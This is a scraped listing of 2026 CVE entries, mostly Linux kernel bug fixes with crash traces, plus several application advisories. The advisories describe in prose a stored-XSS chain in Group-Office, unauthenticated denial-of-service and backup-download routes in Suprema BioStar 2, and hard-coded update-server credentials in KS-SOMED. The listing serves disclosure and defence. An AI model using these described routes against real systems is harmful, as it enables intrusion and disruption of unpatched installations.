CVE-2026-46158	In the Linux kernel, the following vulnerability has been resolved: mptcp: pm: ADD_ADDR rtx: always decrease sk refcount When an ADD_ADDR is retransmitted, the sk is held in sk_reset_timer(). It should then be released in all cases at the end. Some (unlikely) checks were returning directly instead of calling sock_put() to decrease the refcount. Jump to a new 'exit' label to call __sock_put() (which will become sock_put() in the next commit) to fix this potential leak. While at it, drop the '!msk' check which cannot happen because it is never reset, and explicitly mark the remaining one as "unlikely".	N/A	More Details
CVE-2026-10532	Deserialization of untrusted data vulnerability in QOS.CH Sarl logback logback-core (HardenedObjectInputStream (logback-core) modules) allows Object Injection, albeit heavily restricted. More precisely, an attacker able to influence serialized data sent to SimpleSocketServer or SimpleSSLSocketServer can instantiate Proxy objects. Although deserialization is heavily restricted by HardenedObjectInputStream and no practical way to achieve remote code execution or significant privilege escalation has been identified, this issue constitutes a bypass of the intended security restrictions. This issue affects logback: through 1.5.33 inclusive.	N/A	More Details
CVE-2026-45967	In the Linux kernel, the following vulnerability has been resolved: bpf: Return proper address for non-zero offsets in insn array The map_direct_value_addr() function of the instruction array map incorrectly adds offset to the resulting address. This is a bug, because later the resolve_pseudo_ldimm64() function adds the offset. Fix it. Corresponding selftests are added in a consequent commit.	N/A	More Details
CVE-2026-45968	In the Linux kernel, the following vulnerability has been resolved: cpuidle: Skip governor when only one idle state is available On certain platforms (PowerNV systems without a power-mgt DT node), cpuidle may register only a single idle state. In cases where that single state is a polling state (state 0), the ladder governor may incorrectly treat state 1 as the first usable state and pass an out-of-bounds index. This can lead to a NULL enter callback being invoked, ultimately resulting in a system crash. [13.342636] cpuidle-powernv : Only Snooze is available [13.351854] Faulting instruction address: 0x00000000 [13.376489] NIP [0000000000000000] 0x0 [13.378351] LR [c000000001e01974] cpuidle_enter_state+0x2c4/0x668 Fix this by adding a bail-out in cpuidle_select() that returns state 0 directly when state_count <= 1, bypassing the governor and keeping the tick running.	N/A	More Details
CVE-2026-45969	In the Linux kernel, the following vulnerability has been resolved: HID: playstation: Add missing check for input_ff_create_memless The ps_gamepad_create() function calls input_ff_create_memless() without verifying its return value, which can lead to incorrect behavior or potential crashes when FF effects are triggered. Add a check for the return value of input_ff_create_memless().	N/A	More Details
CVE-2026-46156	In the Linux kernel, the following vulnerability has been resolved: LoongArch: Fix potential ADE in loongson_gpu_fixup_dma_hang() The switch case in loongson_gpu_fixup_dma_hang() may not DC2 or DC3, and readl(crtc_reg) will access with random address, because the "device" is from "base+PCI_DEVICE_ID", "base" is from "pdev->devfn+1". This is wrong when my platform inserts a discrete GPU: lspci -tv -[0000:00]-+-00.0 Loongson Technology LLC Hyper Transport Bridge Controller ... +-06.0 Loongson Technology LLC LG100 GPU +-06.2 Loongson Technology LLC Device 7a37 ... Add a default switch case to fix the panic as below: Kernel ade access[#1]: CPU: 0 PID: 1 Comm: swapper/0 Not tainted 6.6.136-loong64-desktop-hwe+ #4 pc 90000000017e5534 ra 90000000017e54c0 tp 90000001002f8000 sp 90000001002fb6c0 a0 80000efe00003100 a1 0000000000003100 a2 0000000000000000 a3 0000000000000002 a4 90000001002fb6b4 a5 900000087cdb58fd a6 90000000027af000 a7 0000000000000001 t0 0000000000085b9 t1 000000000000ffff t2 0000000000000000 t3 0000000000000000 t4 fffffffffffffffd t5 00000000fffb6d9c t6 0000000000083b00 t7 00000000000070c0 t8 900000087cdb4d94 u0 900000087cdb58fd s9 90000001002fb826 s0 90000000031c12c8 s1 7fffffffffffff00 s2 90000000031c12d0 s3 0000000000002710 s4 0000000000000000 s5 0000000000000000 s6 9000000100053000 s7 7fffffffffffff00 s8 90000000030d4000 ra: 90000000017e54c0 loongson_gpu_fixup_dma_hang+0x40/0x210 ERA: 90000000017e5534 loongson_gpu_fixup_dma_hang+0xb4/0x210 CRMD: 000000b0 (PLV0 -IE -DA +PG DACF=CC DACM=CC -WE) PRMD: 00000004 (PPLV0 +PIE -PWE) EUEN: 00000000 (-FPE -SXE -ASXE -BTE) ECFG: 00071c1d (LIE=0,2-4,10-12 VS=7) ESTAT: 00480000 [ADEM] (IS= ECode=8 EsubCode=1) BADV: 7fffffffffffff00 PRID: 0014d000 (Loongson-64bit, Loongson-3A6000-HV) Modules linked in: Process swapper/0 (pid: 1, threadinfo=(____ptrval____), task=(____ptrval____)) Stack : 0000000000000006 90000001002fb778 90000001002fb704 0000000000000007 0000000016a65700 90000000017e5690 0000000000000ffff ffffffffffffffff 900000000209f7c0 9000000100053000 900000000209f7a8 9000000000eebc08 0000000000000000 0000000000000000 0000000000000006 90000001002fb778 90000001000530b8 90000000027af000 0000000000000000 9000000100054000 9000000100053000 9000000000ebb70c 9000000100004c00 9000000004000001 90000001002fb7e4 bae765461f31cb12 0000000000000000 0000000000000000 0000000000000006 90000000027af000 0000000000000030 90000000027af000 900000087cd6f800 9000000100053000 0000000000000000 9000000000ebc560 7a2500147cdaf720 bae765461f31cb12 0000000000000001 0000000000000030 ... Call Trace: [<90000000017e5534>] loongson_gpu_fixup_dma_hang+0xb4/0x210 [<9000000000eebc08>] pci_fixup_device+0x108/0x280 [<9000000000ebb70c>] pci_setup_device+0x24c/0x690 [<9000000000ebc560>]	N/A	More Details

	pci_scan_single_device+0xe0/0x140 [<9000000000ebc684>] pci_scan_slot+0xc4/0x280 [<9000000000ebdd00>] pci_scan_child_bus_extend+0x60/0x3f0 [<9000000000f5bc94>] acpi_pci_root_create+0x2b4/0x420 [<90000000017e5e74>] pci_acpi_scan_root+0x2d4/0x440 [<9000000000f5b02c>] acpi_pci_root_add+0x21c/0x3a0 [<9000000000f4ee54>] acpi_bus_attach+0x1a4/0x3c0 [<90000000010e200c>] device_for_each_child+0x6c/0xe0 [<9000000000f4bbf4>] acpi_dev_for_each_child+0x44/0x70 [<9000000000f4ef40>] acpi_bus_attach+0x290/0x3c0 [<90000000010e200c>] device_for_each_child+0x6c/0xe0 [<9000000000f4bbf4>] acpi_dev_for_each_child+0x44/0x70 [<9000000000f4ef40>] acpi_bus_attach+0x290/0x3c0 [<9000000000f5211c>] acpi_bus_scan+0x6c/0x280 [<900000000189c028>] acpi_scan_init+0x194/0x310 [<900000000189bc6c>] acpi_init+0xcc/0x140 [<9000000000220cdc>] do_one_initcall+0x4c/0x310 [<90000000018618fc>] kernel_init_freeable+0x258/0x2d4 [<900000000184326c>] kernel_init+0x28/0x13c [<9000000000222008>] ret_from_kernel_thread+0xc/0xa4		
CVE-2026-46153	In the Linux kernel, the following vulnerability has been resolved: 8021q: delete cleared egress QoS mappings vlan_dev_set_egress_priority() currently keeps cleared egress priority mappings in the hash as tombstones. Repeated set/clear cycles with distinct skb priorities therefore accumulate mapping nodes until device teardown and leak memory. Delete mappings when vlan_prio is cleared instead of keeping tombstones. Now that the egress mapping lists are RCU protected, the node can be unlinked safely and freed after a grace period.	N/A	More Details
CVE-2026-45971	In the Linux kernel, the following vulnerability has been resolved: bpf: Limit bpf program signature size Practical BPF signatures are significantly smaller than KMALLOC_MAX_CACHE_SIZE Allowing larger sizes opens the door for abuse by passing excessive size values and forcing the kernel into expensive allocation paths (via kmalloc_large or vmalloc).	N/A	More Details
CVE-2026-45973	In the Linux kernel, the following vulnerability has been resolved: RDMA/mlx5: Fix UMR hang in LAG error state unload During firmware reset in LAG mode, a race condition causes the driver to hang indefinitely while waiting for UMR completion during device unload. See [1]. In LAG mode the bond device is only registered on the master, so it never sees sys_error events from the slave. During firmware reset this causes UMR waits to hang forever on unload as the slave is dead but the master hasn't entered error state yet, so UMR posts succeed but completions never arrive. Fix this by adding a sys_error notifier that gets registered before MLX5_IB_STAGE_IB_REG and stays alive until after ib_unregister_device(). This ensures error events reach the bond device throughout teardown. [1] Call Trace: __schedule+0x2bd/0x760 schedule+0x37/0xa0 schedule_preempt_disabled+0xa/0x10 __mutex_lock.isra.6+0x2b5/0x4a0 __mlx5_ib_dereg_mr+0x606/0x870 [mlx5_ib] ? __xa_erase+0x4a/0xa0 ? _cond_resched+0x15/0x30 ? wait_for_completion+0x31/0x100 ib_dereg_mr_user+0x48/0xc0 [ib_core] ? rdmacg_uncharge_hierarchy+0xa0/0x100 destroy_hw_idr_uobject+0x20/0x50 [ib_uverbs] uverbs_destroy_uobject+0x37/0x150 [ib_uverbs] __uverbs_cleanup_ufile+0xda/0x140 [ib_uverbs] uverbs_destroy_ufile_hw+0x3a/0xf0 [ib_uverbs] ib_uverbs_remove_one+0xc3/0x140 [ib_uverbs] remove_client_context+0x8b/0xd0 [ib_core] disable_device+0x8c/0x130 [ib_core] __ib_unregister_device+0x10d/0x180 [ib_core] ib_unregister_device+0x21/0x30 [ib_core] __mlx5_ib_remove+0x1e4/0x1f0 [mlx5_ib] auxiliary_bus_remove+0x1e/0x30 device_release_driver_internal+0x103/0x1f0 bus_remove_device+0xf7/0x170 device_del+0x181/0x410 mlx5_rescan_drivers_locked.part.10+0xa9/0x1d0 [mlx5_core] mlx5_disable_lag+0x253/0x260 [mlx5_core] mlx5_lag_disable_change+0x89/0xc0 [mlx5_core] mlx5_eswitch_disable+0x67/0xa0 [mlx5_core] mlx5_unload+0x15/0xd0 [mlx5_core] mlx5_unload_one+0x71/0xc0 [mlx5_core] mlx5_sync_reset_reload_work+0x83/0x100 [mlx5_core] process_one_work+0x1a7/0x360 worker_thread+0x30/0x390 ? create_worker+0x1a0/0x1a0 kthread+0x116/0x130 ? kthread_flush_work_fn+0x10/0x10 ret_from_fork+0x22/0x40	N/A	More Details
CVE-2026-45974	In the Linux kernel, the following vulnerability has been resolved: btrfs: fix invalid leaf access in btrfs_quota_enable() if ref key not found If btrfs_search_slot_for_read() returns 1, it means we did not find any key greater than or equals to the key we asked for, meaning we have reached the end of the tree and therefore the path is not valid. If this happens we need to break out of the loop and stop, instead of continuing and accessing an invalid path.	N/A	More Details
CVE-2026-45961	In the Linux kernel, the following vulnerability has been resolved: gfs2: fix memory leaks in gfs2_fill_super error path Fix two memory leaks in the gfs2_fill_super() error handling path when transitioning a filesystem to read-write mode fails. First leak: kthread objects (thread_struct, task_struct, etc.) When gfs2_freeze_lock_shared() fails after init_threads() succeeds, the created kernel threads (logd and quotad) are never destroyed. This occurs because the fail_per_node label doesn't call gfs2_destroy_threads(). Second leak: quota bitmap buffer (8192 bytes) When gfs2_make_fs_rw() fails after gfs2_quota_init() succeeds but before other operations complete, the allocated quota bitmap is never freed. The fix moves thread cleanup to the fail_per_node label to handle all error paths uniformly. gfs2_destroy_threads() is safe to call unconditionally as it checks for NULL pointers. Quota cleanup is added in gfs2_make_fs_rw() to properly handle the withdrawal case where quota initialization succeeds but the filesystem is then withdrawn. Thread leak backtrace (gfs2_freeze_lock_shared failure): unreferenced object 0xffff88801d7bca80 (size 4480): copy_process+0x3a1/0x4670 kernel/fork.c:2422 kernel_clone+0xf3/0x6e0 kernel/fork.c:2779 kthread_create_on_node+0x100/0x150 kernel/kthread.c:478 init_threads+0xab/0x350 fs/gfs2/ops_fstype.c:611 gfs2_fill_super+0xe5c/0x1240 fs/gfs2/ops_fstype.c:1265 Quota leak backtrace (gfs2_make_fs_rw failure): unreferenced object 0xffff88812de7c000 (size 8192): gfs2_quota_init+0xe5/0x820	N/A	More Details

	fs/gfs2/quota.c:1409 gfs2_make_fs_rw+0x7a/0xe0 fs/gfs2/super.c:149 gfs2_fill_super+0xfbb/0x1240 fs/gfs2/ops_fstype.c:1275		
CVE-2026-9509	An unhandled exception in Suprema BioStar 2 (Server), versions 2.9.8, 2.9.10, and 2.9.11, that allows an unauthenticated remote attacker to cause a denial of service (DoS) by sending HTTP POST requests to the '/api/migration' endpoint. This request triggers a failure that halts critical processes, leaving the system offline until the services or server are manually restarted. As a result, access control readers cease to function, and potential failures may occur in third-party integrations. Since the exploit requires no privileges or user interaction and is trivial to automate, the impact on availability is high, and the effect extends to interconnected systems.	N/A	More Details
CVE-2026-45960	In the Linux kernel, the following vulnerability has been resolved: hfsplus: return error when node already exists in hfs_bnode_create When hfs_bnode_create() finds that a node is already hashed (which should not happen in normal operation), it currently returns the existing node without incrementing its reference count. This causes a reference count inconsistency that leads to a kernel panic when the node is later freed in hfs_bnode_put(): kernel BUG at fs/hfsplus/bnode.c:676! BUG_ON(!atomic_read(&node->refcnt)) This scenario can occur when hfs_bmap_alloc() attempts to allocate a node that is already in use (e.g., when node 0's bitmap bit is incorrectly unset), or due to filesystem corruption. Returning an existing node from a create path is not normal operation. Fix this by returning ERR_PTR(-EEXIST) instead of the node when it's already hashed. This properly signals the error condition to callers, which already check for IS_ERR() return values.	N/A	More Details
CVE-2026-9508	Incorrect permission settings on a critical resource in Suprema BioStar 2 (versions 2.9.3 through 2.9.11) that allow backup files to be publicly exposed when the administrator configures their path within the NGINX webroot. This vulnerability allows an attacker with network access to directly download backup ZIP files via 'http(s)://[server]/download/...' without requiring authentication. This exposes highly sensitive information that can lead to server impersonation, unauthorized access to databases, and lateral movement.	N/A	More Details
CVE-2026-9712	When creating an export through the pretix API, API clients are returned an UUID value for their export job (a long, random string like 35742818-c375-4d15-839f-d49aecce94d6). Using this UUID, the API client can then request the actual file for download. The same kind of UUID is used in other places in pretix when temporary files are generated for internal use or download. One remaining API endpoint, however, wrongfully did not verify if the UUID used for download actually belongs to a file that is supposed to be downloadable and belongs to the correct user. In reality, this is hard to exploit because an attacker would need to have access to a valid UUID for the file they desire which is unlikely to happen without a separate security problem giving them access to logs etc.	N/A	More Details
CVE-2026-45938	In the Linux kernel, the following vulnerability has been resolved: power: supply: pm8916_lbc: Fix use-after-free in power_supply_changed() Using the `devm_` variant for requesting IRQ _before_ the `devm_` variant for allocating/registering the `power_supply` handle, means that the `power_supply` handle will be deallocated/unregistered _before_ the interrupt handler (since `devm_` naturally deallocates in reverse allocation order). This means that during removal, there is a race condition where an interrupt can fire just _after_ the `power_supply` handle has been freed, *but* just _before_ the corresponding unregistration of the IRQ handler has run. This will lead to the IRQ handler calling `power_supply_changed()` with a freed `power_supply` handle. Which usually crashes the system or otherwise silently corrupts the memory... Note that there is a similar situation which can also happen during `probe()`; the possibility of an interrupt firing _before_ registering the `power_supply` handle. This would then lead to the nasty situation of using the `power_supply` handle *uninitialized* in `power_supply_changed()`. Fix this racy use-after-free by making sure the IRQ is requested _after_ the registration of the `power_supply` handle.	N/A	More Details
CVE-2026-45939	In the Linux kernel, the following vulnerability has been resolved: gpib: Fix memory leak in ni_usb_init() In ni_usb_init(), if ni_usb_setup_init() fails, the function returns -EFAULT without freeing the allocated writes buffer, leading to a memory leak. Additionally, ni_usb_setup_init() returns 0 on failure, which causes ni_usb_init() to return -EFAULT, an inappropriate error code for this situation. Fix the leak by freeing writes in the error path. Modify ni_usb_setup_init() to return -EINVAL on failure and propagate this error code in ni_usb_init().	N/A	More Details
CVE-2026-45551	Group-Office is an enterprise customer relationship management and groupware tool. Prior to 26.0.25, 25.0.100, and 6.8.165, GroupOffice allows authenticated users to persist arbitrary legacy settings for any user_id via index.php?r=core/saveSetting. A separate client-side sink in the email module injects the email_font_size setting directly into JavaScript without escaping. By combining these two issues, any low-privileged authenticated user can overwrite an administrator's email_font_size setting with a JavaScript payload and trigger stored XSS in the administrator's browser when the GroupOffice web client loads views/Extjs3/modulescripts.php. This vulnerability is fixed in 26.0.25, 25.0.100, and 6.8.165.	N/A	More Details
CVE-2026-45940	In the Linux kernel, the following vulnerability has been resolved: net: stmmac: fix oops when split header is enabled For GMAC4, when split header is enabled, in some rare cases, the hardware does not fill buf2 of the first descriptor with payload. Thus we cannot assume buf2 is always fully filled if it is not the last descriptor. Otherwise, the length of buf2 of the second descriptor will be calculated wrong and cause an oops: Unable to handle kernel paging request at virtual address ffff00019246bfc0 ... x2 : 0000000000000040 x1 : ffff00019246bfc0 x0 : ffff00009246c000 Call trace: dcache_inval_poc+0x28/0x58 (P) dma_direct_sync_single_for_cpu+0x38/0x6c __dma_sync_single_for_cpu+0x34/0x6c	N/A	More Details

	stmmac_napi_poll_rx+0x8f0/0xb60 __napi_poll.constprop.0+0x30/0x144 net_rx_action+0x160/0x274 handle_softirqs+0x1b8/0x1fc ... To fix this, the PL bit-field in RDES3 register is used for all descriptors, whether it is the last descriptor or not.		
CVE-2026-45941	In the Linux kernel, the following vulnerability has been resolved: tpm: tpm_i2c_infineon: Fix locality leak on get_burstcount() failure get_burstcount() can return -EBUSY on timeout. When this happens, the function returns directly without releasing the locality that was acquired at the beginning of tpm_tis_i2c_send(). Use goto out_err to ensure proper cleanup when get_burstcount() fails.	N/A	More Details
CVE-2026-45943	In the Linux kernel, the following vulnerability has been resolved: erofs: fix inline data read failure for ztailpacking pclusters Compressed folios for ztailpacking pclusters must be valid before adding these pclusters to I/O chains. Otherwise, z_erofs_decompress_pcluster() may assume they are already valid and then trigger a NULL pointer dereference. It is somewhat hard to reproduce because the inline data is in the same block as the tail of the compressed indexes, which are usually read just before. However, it may still happen if a fatal signal arrives while read_mapping_folio() is running, as shown below: erofs: (device dm-1): z_erofs_pcluster_begin: failed to get inline data -4 Unable to handle kernel NULL pointer dereference at virtual address 0000000000000008 ... pc : z_erofs_decompress_queue+0x4c8/0xa14 lr : z_erofs_decompress_queue+0x160/0xa14 sp : ffffffc08b3eb3a0 x29: ffffffc08b3eb570 x28: ffffffc08b3eb418 x27: 0000000000001000 x26: ffffff8086ebdbb8 x25: ffffff8086ebdbb8 x24: 0000000000000001 x23: 0000000000000008 x22: 00000000fffffffb x21: dead000000000700 x20: 00000000000015e7 x19: ffffff808babb400 x18: ffffffc089edc098 x17: 00000000c006287d x16: 00000000c006287d x15: 0000000000000004 x14: ffffff80ba8f8000 x13: 0000000000000004 x12: 00000006589a77c9 x11: 0000000000000015 x10: 0000000000000000 x9 : 0000000000000000 x8 : 0000000000000000 x7 : 0000000000000000 x6 : 000000000000003f x5 : 0000000000000040 x4 : fffffffffffffe0 x3 : 0000000000000020 x2 : 0000000000000008 x1 : 0000000000000000 x0 : 0000000000000000 Call trace: z_erofs_decompress_queue+0x4c8/0xa14 z_erofs_runqueue+0x908/0x97c z_erofs_read_folio+0x128/0x228 filemap_read_folio+0x68/0x128 filemap_get_pages+0x44c/0x8b4 filemap_read+0x12c/0x5b8 generic_file_read_iter+0x4c/0x15c do_iter_readv_writev+0x188/0x1e0 vfs_iter_read+0xac/0x1a4 backing_file_read_iter+0x170/0x34c ovl_read_iter+0xf0/0x140 vfs_read+0x28c/0x344 ksys_read+0x80/0xf0 __arm64_sys_read+0x24/0x34 invoke_syscall+0x60/0x114 el0_svc_common+0x88/0xe4 do_el0_svc+0x24/0x30 el0_svc+0x40/0xa8 el0t_64_sync_handler+0x70/0xbc el0t_64_sync+0x1bc/0x1c0 Fix this by reading the inline data before allocating and adding the pclusters to the I/O chains.	N/A	More Details
CVE-2026-45946	In the Linux kernel, the following vulnerability has been resolved: power: supply: ab8500: Fix use-after-free in power_supply_changed() Using the `devm_` variant for requesting IRQ _before_ the `devm_` variant for allocating/registering the `power_supply` handle, means that the `power_supply` handle will be deallocated/unregistered _before_ the interrupt handler (since `devm_` naturally deallocates in reverse allocation order). This means that during removal, there is a race condition where an interrupt can fire just _after_ the `power_supply` handle has been freed, *but* just _before_ the corresponding unregistration of the IRQ handler has run. This will lead to the IRQ handler calling `power_supply_changed()` with a freed `power_supply` handle. Which usually crashes the system or otherwise silently corrupts the memory... Note that there is a similar situation which can also happen during `probe()`; the possibility of an interrupt firing _before_ registering the `power_supply` handle. This would then lead to the nasty situation of using the `power_supply` handle *uninitialized* in `power_supply_changed()`. Commit 1c1f13a006ed ("power: supply: ab8500: Move to componentized binding") introduced this issue during a refactorization. Fix this racy use-after-free by making sure the IRQ is requested _after_ the registration of the `power_supply` handle.	N/A	More Details
CVE-2026-45947	In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: Fix memory leak in amdgpu_acpi_enumerate_xcc() In amdgpu_acpi_enumerate_xcc(), if amdgpu_acpi_dev_init() returns -ENOMEM, the function returns directly without releasing the allocated xcc_info, resulting in a memory leak. Fix this by ensuring that xcc_info is properly freed in the error paths. Compile tested only. Issue found using a prototype static analysis tool and code review.	N/A	More Details
CVE-2026-45948	In the Linux kernel, the following vulnerability has been resolved: ext4: fix memory leak in ext4_ext_shift_extents() In ext4_ext_shift_extents(), if the extent is NULL in the while loop, the function returns immediately without releasing the path obtained via ext4_find_extent(), leading to a memory leak. Fix this by jumping to the out label to ensure the path is properly released.	N/A	More Details
CVE-2026-45611	Rejected reason: Further research determined the issue is not a vulnerability.	N/A	More Details
CVE-	In the Linux kernel, the following vulnerability has been resolved: hwrng: core - use RCU and work_struct to fix race condition Currently, hwrng_fill is not cleared until the hwrng_fillfn() thread exits. Since hwrng_unregister() reads hwrng_fill outside the rng_mutex lock, a concurrent hwrng_unregister() may call kthread_stop() again on the same task. Additionally, if hwrng_unregister() is called immediately after hwrng_register(), the stopped thread may have never been executed. Thus, hwrng_fill remains dirty even after hwrng_unregister() returns. In this case, subsequent calls to hwrng_register() will fail to start new threads, and hwrng_unregister() will call kthread_stop() on the same freed task. In both cases, a use-after-free occurs: refcount_t: addition on 0; use-after-free. WARNING: ... at lib/refcount.c:25 refcount_warn_saturate+0xec/0x1c0 Call Trace: kthread_stop+0x181/0x360 hwrng_unregister+0x288/0x380		

2026-45949	virtrng_remove+0xe3/0x200 This patch fixes the race by protecting the global hwrng_fill pointer inside the rng_mutex lock, so that hwrng_fillfn() thread is stopped only once, and calls to kthread_run() and kthread_stop() are serialized with the lock held. To avoid deadlock in hwrng_fillfn() while being stopped with the lock held, we convert current_rng to RCU, so that get_current_rng() can read current_rng without holding the lock. To remove the lock from put_rng(), we also delay the actual cleanup into a work_struct. Since get_current_rng() no longer returns ERR_PTR values, the IS_ERR() checks are removed from its callers. With hwrng_fill protected by the rng_mutex lock, hwrng_fillfn() can no longer clear hwrng_fill itself. Therefore, if hwrng_fillfn() returns directly after current_rng is dropped, kthread_stop() would be called on a freed task_struct later. To fix this, hwrng_fillfn() calls schedule() now to keep the task alive until being stopped. The kthread_stop() call is also moved from hwrng_unregister() to drop_current_rng(), ensuring kthread_stop() is called on all possible paths where current_rng becomes NULL, so that the thread would not wait forever.	N/A	More Details
CVE-2026-45950	In the Linux kernel, the following vulnerability has been resolved: crypto: starfive - Fix memory leak in starfive_aes_aead_do_one_req() The starfive_aes_aead_do_one_req() function allocates rctx->adata with kzalloc() but fails to free it if sg_copy_to_buffer() or starfive_aes_hw_init() fails, which lead to memory leaks. Since rctx->adata is unconditionally freed after the write_adata operations, ensure consistent cleanup by freeing the allocation in these earlier error paths as well. Compile tested only. Issue found using a prototype static analysis tool and code review.	N/A	More Details
CVE-2026-8931	A critical Remote Code Execution (RCE) vulnerability exists in Disig Web Signer versions 2.0.3 through 2.5.3.	N/A	More Details
CVE-2026-45952	In the Linux kernel, the following vulnerability has been resolved: eth: fbnic: Add validation for MTU changes Increasing the MTU beyond the HDS threshold causes the hardware to fragment packets across multiple buffers. If a single-buffer XDP program is attached, the driver will drop all multi-frag frames. While we can't prevent a remote sender from sending non-TCP packets larger than the MTU, this will prevent users from inadvertently breaking new TCP streams. Traditionally, drivers supported XDP with MTU less than 4Kb (packet per page). Fbnic currently prevents attaching XDP when MTU is too high. But it does not prevent increasing MTU after XDP is attached.	N/A	More Details
CVE-2026-45953	In the Linux kernel, the following vulnerability has been resolved: md/raid5: fix IO hang with degraded array with llbitmap When llbitmap bit state is still unwritten, any new write should force rcw, as bitmap_ops->blocks_synced() is checked in handle_stripe_dirtying(). However, later the same check is missing in need_this_block(), causing stripe to deadloop during handling because handle_stripe() will decide to go to handle_stripe_fill(), meanwhile need_this_block() always return 0 and nothing is handled.	N/A	More Details
CVE-2026-46169	In the Linux kernel, the following vulnerability has been resolved: hfsplus: fix uninit-value by validating catalog record size Syzbot reported a KMSAN uninit-value issue in hfsplus_strcasecmp(). The root cause is that hfs_brec_read() doesn't validate that the on-disk record size matches the expected size for the record type being read. When mounting a corrupted filesystem, hfs_brec_read() may read less data than expected. For example, when reading a catalog thread record, the debug output showed: HFSPLUS_BREC_READ: rec_len=520, fd->entrylength=26 HFSPLUS_BREC_READ: WARNING - entrylength (26) < rec_len (520) - PARTIAL READ! hfs_brec_read() only validates that entrylength is not greater than the buffer size, but doesn't check if it's less than expected. It successfully reads 26 bytes into a 520-byte structure and returns success, leaving 494 bytes uninitialized. This uninitialized data in tmp.thread.nodeName then gets copied by hfsplus_cat_build_key_uni() and used by hfsplus_strcasecmp(), triggering the KMSAN warning when the uninitialized bytes are used as array indices in case_fold(). Fix by introducing hfsplus_brec_read_cat() wrapper that: 1. Calls hfs_brec_read() to read the data 2. Validates the record size based on the type field: - Fixed size for folder and file records - Variable size for thread records (depends on string length) 3. Returns -EIO if size doesn't match expected For thread records, check against HFSPLUS_MIN_THREAD_SZ before reading nodeName.length to avoid reading uninitialized data at call sites that don't zero-initialize the entry structure. Also initialize the tmp variable in hfsplus_find_cat() as defensive programming to ensure no uninitialized data even if validation is bypassed.	N/A	More Details
CVE-2026-45954	In the Linux kernel, the following vulnerability has been resolved: fbdev: au1200fb: Fix a memory leak in au1200fb_drv_probe() In au1200fb_drv_probe(), when platform_get_irq fails(), it directly returns from the function with an error code, which causes a memory leak. Replace it with a goto label to ensure proper cleanup.	N/A	More Details
CVE-2026-45955	In the Linux kernel, the following vulnerability has been resolved: md/md-llbitmap: fix percpu_ref not resurrected on suspend timeout When llbitmap_suspend_timeout() times out waiting for percpu_ref to become zero, it returns -ETIMEDOUT without resurrecting the percpu_ref. The caller (md_llbitmap_daemon_fn) then continues to the next page without calling llbitmap_resume(), leaving the percpu_ref in a killed state permanently. Fix this by resurrecting the percpu_ref before returning the error, ensuring the page control structure remains usable for subsequent operations.	N/A	More Details
CVE-2026-42251	Use of hard-coded credentials in KS-SOMED allowed an unauthorized attacker access to FTP server that hosted the application's update packages. The attacker with these credentials could upload a malicious update file, which then may have been distributed and installed on client machines as a legitimate update. This issue affects KS-SOMED with modules: KSPLUPDFTP.exe up to 30.00.00.056 and ANEKSKLIENT.EXE up to 29.00.02.026 Beside removing the hard-coded credentials from the code and changing the update	N/A	More Details

	process, access granted by previously exposed credentials was limited to read-only.		
CVE-2026-45956	In the Linux kernel, the following vulnerability has been resolved: drm/exynos: vidi: use priv->vidi_dev for ctx lookup in vidi_connection_ioctl() vidi_connection_ioctl() retrieves the driver_data from drm_dev->dev to obtain a struct vidi_context pointer. However, drm_dev->dev is the exynos-drm master device, and the driver_data contained therein is not the vidi component device, but a completely different device. This can lead to various bugs, ranging from null pointer dereferences and garbage value accesses to, in unlucky cases, out-of-bounds errors, use-after-free errors, and more. To resolve this issue, we need to store/delete the vidi device pointer in exynos_drm_private->vidi_dev during bind/unbind, and then read this exynos_drm_private->vidi_dev within ioctl() to obtain the correct struct vidi_context pointer.	N/A	More Details
CVE-2026-45957	In the Linux kernel, the following vulnerability has been resolved: rcu: Fix rcu_read_unlock() deadloop due to softirq Commit 5f5fa7ea89dc ("rcu: Don't use negative nesting depth in __rcu_read_unlock()") removes the recursion-protection code from __rcu_read_unlock(). Therefore, we could invoke the deadloop in raise_softirq_irqoff() with ftrace enabled as follows: WARNING: CPU: 0 PID: 0 at kernel/trace/trace.c:3021 __ftrace_trace_stack.constprop.0+0x172/0x180 Modules linked in: my_irq_work(O) CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Tainted: G O 6.18.0-rc7-dirty #23 PREEMPT(full) Tainted: [O]=OOT_MODULE Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014 RIP: 0010:__ftrace_trace_stack.constprop.0+0x172/0x180 RSP: 0018:ffffc900000034a8 EFLAGS: 00010002 RAX: 0000000000000000 RBX: 0000000000000004 RCX: 0000000000000000 RDX: 0000000000000003 RSI: ffffffff826d7b87 RDI: ffffffff826e9329 RBP: 0000000000090009 R08: 0000000000000005 R09: ffffffff82afbc4c R10: 0000000000000008 R11: 0000000000011d7a R12: 0000000000000000 R13: ffff888003874100 R14: 0000000000000003 R15: ffff8880038c1054 FS: 0000000000000000(0000) GS:ffff8880fa8ea000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000055b31fa7f540 CR3: 00000000078f4005 CR4: 0000000000770ef0 PKRU: 55555554 Call Trace: <IRQ> trace_buffer_unlock_commit_regs+0x6d/0x220 trace_event_buffer_commit+0x5c/0x260 trace_event_raw_event_softirq+0x47/0x80 raise_softirq_irqoff+0x6e/0xa0 rcu_read_unlock_special+0xb1/0x160 unwind_next_frame+0x203/0x9b0 __unwind_start+0x15d/0x1c0 arch_stack_walk+0x62/0xf0 stack_trace_save+0x48/0x70 __ftrace_trace_stack.constprop.0+0x144/0x180 trace_buffer_unlock_commit_regs+0x6d/0x220 trace_event_buffer_commit+0x5c/0x260 trace_event_raw_event_softirq+0x47/0x80 raise_softirq_irqoff+0x6e/0xa0 rcu_read_unlock_special+0xb1/0x160 unwind_next_frame+0x203/0x9b0 __unwind_start+0x15d/0x1c0 arch_stack_walk+0x62/0xf0 stack_trace_save+0x48/0x70 __ftrace_trace_stack.constprop.0+0x144/0x180 trace_buffer_unlock_commit_regs+0x6d/0x220 trace_event_buffer_commit+0x5c/0x260 trace_event_raw_event_softirq+0x47/0x80 raise_softirq_irqoff+0x6e/0xa0 rcu_read_unlock_special+0xb1/0x160 unwind_next_frame+0x203/0x9b0 __unwind_start+0x15d/0x1c0 arch_stack_walk+0x62/0xf0 stack_trace_save+0x48/0x70 __ftrace_trace_stack.constprop.0+0x144/0x180 trace_buffer_unlock_commit_regs+0x6d/0x220 trace_event_buffer_commit+0x5c/0x260 trace_event_raw_event_softirq+0x47/0x80 raise_softirq_irqoff+0x6e/0xa0 rcu_read_unlock_special+0xb1/0x160 